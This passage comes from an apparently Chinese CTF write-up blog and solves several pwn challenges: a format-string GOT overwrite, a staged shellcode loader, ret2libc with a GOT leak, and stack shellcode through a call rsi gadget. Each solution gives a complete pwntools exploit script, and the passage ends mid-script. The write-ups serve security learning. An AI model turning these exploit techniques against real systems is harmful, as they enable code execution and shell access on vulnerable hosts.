class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;i386&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">25632</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line"><span class="comment"># rdi = rop.find_gadget([&#x27;pop rdi&#x27;,&#x27;ret&#x27;])[0]</span></span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line"><span class="comment"># info(&quot;rdi addr : &#123;:#x&#125;&quot;.format(rdi))</span></span><br><span class="line">printgot = <span class="number">0x804989c</span></span><br><span class="line">systemplt =  <span class="number">0x80483D0</span></span><br><span class="line">gol = <span class="number">0x804979C</span></span><br><span class="line">main = <span class="number">0x08048534</span></span><br><span class="line"></span><br><span class="line">n1 = systemplt &amp; <span class="number">0xFFFF</span></span><br><span class="line">n2 = (systemplt&gt;&gt;<span class="number">16</span>) &amp; <span class="number">0xFFFF</span></span><br><span class="line">n3 = main &amp; <span class="number">0xFFFF</span></span><br><span class="line"></span><br><span class="line">w_offset = <span class="number">0xe</span></span><br><span class="line">pay  = <span class="string">f&#x27;%<span class="subst">&#123;n1&#125;</span>c%<span class="subst">&#123;w_offset&#125;</span>$hn&#x27;</span></span><br><span class="line">pay += <span class="string">f&#x27;%<span class="subst">&#123;<span class="number">0x10000</span> + n2 - n1&#125;</span>c%<span class="subst">&#123;w_offset+<span class="number">1</span>&#125;</span>$hn&#x27;</span></span><br><span class="line">pay += <span class="string">f&#x27;%<span class="subst">&#123;<span class="number">0x10000</span> + n3 - n2&#125;</span>c%<span class="subst">&#123;w_offset+<span class="number">2</span>&#125;</span>$hn&#x27;</span></span><br><span class="line">pay  = pay.encode()</span><br><span class="line">pay += (<span class="number">4</span> - (<span class="built_in">len</span>(pay) % <span class="number">4</span>)) * <span class="string">b&#x27;A&#x27;</span></span><br><span class="line">pay += p32(printgot)</span><br><span class="line">pay += p32(printgot+<span class="number">2</span>)</span><br><span class="line">pay += p32(gol)</span><br><span class="line"></span><br><span class="line">sl(pay)</span><br><span class="line">sl(<span class="string">&#x27;/bin/sh&#x27;</span>)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="HGAME-2023-week1-simple-shellcode"><a href="#HGAME-2023-week1-simple-shellcode" class="headerlink" title="[HGAME 2023 week1]simple_shellcode"></a>[HGAME 2023 week1]simple_shellcode</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  mmap((<span class="type">void</span> *)<span class="number">0xCAFE0000</span>LL, <span class="number">0x1000</span>uLL, <span class="number">7</span>, <span class="number">33</span>, <span class="number">-1</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Please input your shellcode:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, (<span class="type">void</span> *)<span class="number">0xCAFE0000</span>LL, <span class="number">0x10</span>uLL);</span><br><span class="line">  sandbox();</span><br><span class="line">  MEMORY[<span class="number">0xCAFE0000</span>]();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>嘶，这可以写入0x10的字节</p><p>然后会调用，大小不够</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">.text:</span>000000000000137F <span class="comment">; 5:   puts(&quot;Please input your shellcode:&quot;);</span></span><br><span class="line"><span class="symbol">.text:</span>000000000000137F                 <span class="keyword">lea</span>     <span class="built_in">rdi</span>, s          <span class="comment">; &quot;Please input your shellcode:&quot;</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001386</span>                 <span class="keyword">call</span>    _puts</span><br><span class="line"><span class="symbol">.text:</span>000000000000138B                 <span class="keyword">mov</span>     <span class="built_in">rax</span>, [<span class="built_in">rbp</span>+buf]</span><br><span class="line"><span class="symbol">.text:</span>000000000000138F                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="number">10h</span>        <span class="comment">; nbytes</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001394</span>                 <span class="keyword">mov</span>     <span class="built_in">rsi</span>, <span class="built_in">rax</span>        <span class="comment">; buf</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001397</span>                 <span class="keyword">mov</span>     <span class="built_in">edi</span>, <span class="number">0</span>          <span class="comment">; fd</span></span><br><span class="line"><span class="symbol">.text:</span>000000000000139C                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000013A1                 <span class="keyword">call</span>    _read</span><br><span class="line"><span class="symbol">.text:</span>00000000000013A6 <span class="comment">; 7:   sandbox();</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000013A6                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000013AB                 <span class="keyword">call</span>    sandbox</span><br><span class="line"><span class="symbol">.text:</span>00000000000013B0 <span class="comment">; 8:   MEMORY[0xCAFE0000]();</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000013B0                 <span class="keyword">mov</span>     <span class="built_in">rdx</span>, [<span class="built_in">rbp</span>+buf]</span><br><span class="line"><span class="symbol">.text:</span>00000000000013B4                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000013B9                 <span class="keyword">call</span>    <span class="built_in">rdx</span></span><br></pre></td></tr></table></figure><p>在调用到buf的代码时候，rdx为buf的地址，所以我们可以设置rdi为0，rsi为rdx+0x10的地址，使用syscall调用，然后再次调用call rsi;也就是再次输入的shellcode，这时候read的大小就是rsi的地址值足够容纳shellcode</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">28942</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">shellcode = asm(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">xor rdi,rdi;</span></span><br><span class="line"><span class="string">mov rsi,rdx;</span></span><br><span class="line"><span class="string">add rsi,0x10;</span></span><br><span class="line"><span class="string">syscall;</span></span><br><span class="line"><span class="string">call rsi;</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span>)</span><br><span class="line">sl(shellcode)</span><br><span class="line">sl(asm(shellcraft.cat(<span class="string">&quot;/flag&quot;</span>)))</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="HNCTF-2022-WEEK2-ret2libc"><a href="#HNCTF-2022-WEEK2-ret2libc" class="headerlink" title="[HNCTF 2022 WEEK2]ret2libc"></a>[HNCTF 2022 WEEK2]ret2libc</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">256</span>]; <span class="comment">// [rsp+0h] [rbp-100h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x200</span>uLL);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>打个rop即可</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">26221</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">offset = <span class="number">0x100</span> + <span class="number">8</span></span><br><span class="line"></span><br><span class="line">payload = flat([cyclic(offset),rdi,elf.got[<span class="string">&#x27;puts&#x27;</span>],elf.plt[<span class="string">&#x27;puts&#x27;</span>],rdi,elf.got[<span class="string">&#x27;read&#x27;</span>],elf.plt[<span class="string">&#x27;puts&#x27;</span>],elf.sym[<span class="string">&#x27;main&#x27;</span>]])</span><br><span class="line">sl(payload)</span><br><span class="line">puts_addr = get_addr()</span><br><span class="line">read_addr = get_addr()</span><br><span class="line">info(<span class="string">&quot;puts addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(puts_addr))</span><br><span class="line">info(<span class="string">&quot;read addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(read_addr))</span><br><span class="line">libc_base = puts_addr - <span class="number">0x84420</span></span><br><span class="line">system = <span class="number">0x52290</span> + libc_base</span><br><span class="line">bin_sh = <span class="number">0x1b45bd</span> + libc_base</span><br><span class="line">payload2 = flat([cyclic(offset),rdi,bin_sh,system])</span><br><span class="line">sl(payload2)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="广东省大学生攻防大赛-2022-jmp-rsp"><a href="#广东省大学生攻防大赛-2022-jmp-rsp" class="headerlink" title="[广东省大学生攻防大赛 2022]jmp_rsp"></a>[广东省大学生攻防大赛 2022]jmp_rsp</h3><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">.text:</span>0000000000400B5D <span class="comment">; int __fastcall main(int argc, const char **argv, const char **envp)</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B5D                 <span class="meta">public</span> main</span><br><span class="line"><span class="symbol">.text:</span>0000000000400B5D main            proc <span class="built_in">near</span>               <span class="comment">; DATA XREF: _start+1D↑o</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B5D</span><br><span class="line"><span class="symbol">.text:</span>0000000000400B5D buf             = <span class="built_in">byte</span> <span class="built_in">ptr</span> -<span class="number">80h</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B5D</span><br><span class="line"><span class="symbol">.text:</span>0000000000400B5D <span class="comment">; __unwind &#123;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B5D                 <span class="keyword">push</span>    <span class="built_in">rbp</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B5E                 <span class="keyword">mov</span>     <span class="built_in">rbp</span>, <span class="built_in">rsp</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B61                 <span class="keyword">add</span>     <span class="built_in">rsp</span>, <span class="number">0FFFFFFFFFFFFFF80h</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B65                 <span class="keyword">lea</span>     <span class="built_in">rdi</span>, aThisIsAClassic <span class="comment">; &quot;this is a classic pwn&quot;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B6C                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B71                 <span class="keyword">call</span>    printf</span><br><span class="line"><span class="symbol">.text:</span>0000000000400B76                 <span class="keyword">lea</span>     <span class="built_in">rax</span>, [<span class="built_in">rbp</span>+buf]</span><br><span class="line"><span class="symbol">.text:</span>0000000000400B7A                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="number">100h</span>       <span class="comment">; count</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B7F                 <span class="keyword">mov</span>     <span class="built_in">rsi</span>, <span class="built_in">rax</span>        <span class="comment">; buf</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B82                 <span class="keyword">mov</span>     <span class="built_in">edi</span>, <span class="number">0</span>          <span class="comment">; fd</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B87                 <span class="keyword">call</span>    read</span><br><span class="line"><span class="symbol">.text:</span>0000000000400B8C                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B91                 <span class="keyword">leave</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B92                 <span class="keyword">retn</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B92 <span class="comment">; &#125; // starts at 400B5D</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400B92 main            endp</span><br></pre></td></tr></table></figure><p>buf离栈顶0x80距离，读取0x100的大小，这时候buf指向输入的开头，开启了栈可执行</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image-20241113204341-l0h64je.png" alt="image">​</p><p>我们找到了call rsi这个magic gadget，这样就可以直接调用buf里面的命令，也就是shellcode</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span 